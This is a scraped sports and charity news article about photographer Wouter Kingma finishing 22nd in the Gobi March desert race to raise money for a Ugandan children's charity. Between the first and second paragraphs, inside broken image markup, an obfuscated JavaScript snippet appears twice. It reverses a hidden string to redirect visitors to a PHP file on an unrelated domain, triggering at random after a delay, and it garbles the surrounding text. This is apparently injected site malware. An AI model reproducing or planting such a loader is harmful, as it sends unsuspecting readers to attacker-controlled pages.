Wouter Kingma, the Dubai-based Audi freelance photographer, Man Mountain (if you ever get to meet him, you will question how on earth he got in the boot of that Audi) and amateur runner who set out to compete in a 250km footrace across the Gobi Desert in aid of charity, has finished the race in 39hrs:45mins:10sec and ranked 22nd. Competitors from 39 countries took part in this year’s Gobi March with 116 of 152 crossing the finish line. 1st place was taken by Australian Damon Goerke, 37, with an overall time of 26:28.39.
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/201111261/wouter-kingma-man-mountain-the-gobi-march/still-looking-fresh_wouter-kingma-at-stage-1-of-gobi-desert-march_sm/”>$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2011/07/Still-looking-fresh_Wouter-Kingma-at-Stage-1-of-Gobi-Desert-March_sm-728×501.jpg” alt=”” width=”728″ height=”501″ /> Competitors had to deal with heavy fog, rain, sandstorms and temperatures between 6 and over 45 degrees Celsius. During the seven-day long race through the Turpan Depression of China’s far west province of Xinjiang Kingma, 36, carried his equipment on his back travelling between 14 and 80 kilometers a day. The race took him across a wide variety of terrain including dirt tracks, sand dunes, dry riverbeds, hills and villages.
The Dutch national who has been living in the UAE since 2002 returns to his wife and young son ecstatic about his achievement: “Finishing as 22nd was something I have never imagined at the start of the race. It came down to being well prepared, pacing during the early stages of the race and when physically exerted having a strong mental determination to finish.”
All donations collected as part of Kingma’s charity run will benefit ABC Children’s Aid in Uganda. “I’m so delighted that many have donated generously. Audi has helped to spread the message and we had great support from the media, facebook fans, friends and family. It is for such a great cause. I would love to make my way to Uganda and deliver what we raised to see the smiles, feel the energy and capture the difference we made. Being a photographer I’ll need to bring my camera as well!”
Audi Middle East’s Jeff Mannering: “Even having known Wouter for many years, we are amazed by his dedication. That’s what we call Vorsprung.”
The story of his journey and a donation link can be found on his personal blog http://wouterkingma.blogspot.com/.
More information on the Gobi March can be found on www.4deserts.com/gobimarch/
